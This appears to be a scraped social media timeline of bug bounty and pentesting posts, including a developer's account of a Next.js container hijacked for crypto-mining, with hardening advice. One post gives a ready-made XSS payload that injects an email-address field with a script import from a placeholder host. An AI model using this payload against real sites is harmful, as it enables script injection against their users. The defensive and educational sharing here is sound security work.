Maniesh.Neupane

Pentester

[Maniesh.Neupane @pwn4arn]

Google Bug Bounty Write-up !

Google Sheets — “Stop Publishing” Revocation Silently Reverted by Publishing Another Tab”
https://t.co/hLMx4iPpZ6

[Maniesh.Neupane @pwn4arn]

Google Bug Bounty Write-up !

Google Sheets — “Stop Publishing” Revocation Silently Reverted by Publishing Another Tab”
https://t.co/hLMx4iPpZ6

[Nitin Gavhane @NitinGavhane_]

https://t.co/exPDzS2mPK

[JS0N Haddix @Jhaddix]

Next hacker summer camp giveaway!

3 seats to our “The Bug Hunters Methodology” course!

Like and share to be entered!

https://t.co/9QffdliW7l

[JS0N Haddix @Jhaddix]

Giveaway time!

Up for grabs is 3 free tickets to our “Attacking AI” live course!

Repost and like to enter!

https://t.co/cp2y6DDxqp

[hashkitten @hash_kitten]

Seems that wp2shell PoCs are now floating around the internet, so we've published our blog post including our research methodology for finding the bug as well as a deep dive into the chain itself - https://t.co/iuU0yiYJBT

[Maniesh.Neupane @pwn4arn]

Testing For Microsoft IIS Server
https://t.co/fEXQCvsAKc

[Maniesh.Neupane @pwn4arn]

@brutecat 🔥💀

[skull @brutecat]

Hacking Google with A.I. for $500,000

https://t.co/S8NbDU9ZaN

[Maniesh.Neupane @pwn4arn]

@BugBountyDEFCON @hackthebox_eu @PentesterLab .

[zseano @zseano]

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required).

"><img/src/onerror=import('//domain/')>"@yourdomain
.com

cc @BRuteLogic - https://t.co/HlFDweFQx6

[Maniesh.Neupane @pwn4arn]

@termireum Nice one 🔥

[Maniesh.Neupane @pwn4arn]

@_jensec @krishnsec !!

[Maniesh.Neupane @pwn4arn]

Bug Bounty Recon Methodology
Link: https://t.co/7PvtRJXj9U

[Maniesh.Neupane @pwn4arn]

Good collection of #Pentesting resources
https://t.co/mRgoAM61QG

[Nagli @galnagli]

Introducing my Bug Bounty Masterclass. 100% free.

I've made $2,000,000+ finding security bugs. I spent the last year turning my methodology into a complete blueprint.

4 hours of video - foundations, reconnaissance, web proxies, hands-on challenges, and certification.

Finish it in a weekend and start hacking real-world applications 🐞

[Maniesh.Neupane @pwn4arn]

@Jhaddix @arcanuminfosec @the_IDORminator .

[Maniesh.Neupane @pwn4arn]

@dhakal__bibek Congratulations brother 🎉

[Eduardo Borges @duborges]

i've been hacked

and traced the malware's wallet to see how much money they actually made from this new exploit

(if you use Next.js/React, READ THIS!)

I woke up to a terrifying email from Hetzner: "Netscan Detected."

my server was blocked and a botnet was using my IP to attack others

i dug into the logs and what I found the anatomy of the attack:

1) The Symptoms: I logged into htop and saw the mess:

- CPU usage: 361%
- A process named ./3ZU1yLK4 running wild
- Random connections to an IP in the Netherlands

my server wasn't serving my app anymore; it was mining crypto for someone else!

2) The Culprit: It wasn't a random SSH brute force. It was inside my Next.js container

the malware was sophisticated

it renamed itself nginxs and apaches to look like web servers

it even had a "killer" script that hunted down other hackers' miners to kill the competition

3) The "Root" Cause (literally): Probably the recent React/Next.js CVE-2025-66478 exploit was the entry point

(my project was running on "next": "15.5.4", behind cloudflare dns, but their recent fix didn't work apparently)

but the fatal error was mine: my Docker container was running as ROOT

Coolify deploys like this automatically when using Nixpacks, and I never changed it...

so because of USER root, the malware could install cron, systemd, and persistence scripts to survive reboots

meaning, it was able to infect my whole server, from a single Next.js docker!

4) The Forensics: I ran docker diff on the container - the hacker didn't just run a script, they installed a whole toolset..

- /tmp/apaches.sh (The installer)
- /var/spool/cron/root (The persistence)
- /c.json (The wallet config)

5) The Fix: I killed the container, scrubbed the host, and extracted the malware for analysis.

but the real fix is in the Dockerfile. if you are deploying Node/Next.js, DO NOT use the default (root), you must:

- RUN adduser --system nextjs
- USER nextjs

if you have Docker on ROOT and didn't update the exploited react version, you'll be hacked soon

check your containers NOW. Run: docker exec <container_id> id

(or get the full list first: docker stats --no-stream)

If it says uid=0(root), you are one vulnerability away from being a crypto-miner host.

(it's easy to notice when hacked, it will be a command running on the top CPU%, using all your hardware resources)

6) The Money: I dug deeper and recovered the config file (c.json)

- Wallet: A Monero (XMR) address: 831abXJn8dBdVe5nZ***
- Pool: auto.c3pool . org

and ofc i tracked the hacker’s wallet on the mining pool

7) The Scale: My server wasn't alone. It was just 1 of 415 active zombies in this botnet

they are burning the CPU of 400+ cloud servers... to earn...

guess how many millions?

$4.26/day

on the image attached you can see: "Total Paid: 0.00", meaning this campaign just started. I caught them on Day 1.

i also tracked back the server where they hosted the malware, and by inspecting the code, I found several comments in Chinese, so I guess that's their origin

im rebuilding from scratch on a fresh VPS. the lesson was expensive, but at least I caught it before the hosting nuked my account permanently...

PS: I have the IP for all the other machines mining with that malware, not sure how I can help them, but feel free to contact me if ur doing infosec

stay safe

[Maniesh.Neupane @pwn4arn]

@vxunderground @Prathmesh Sec+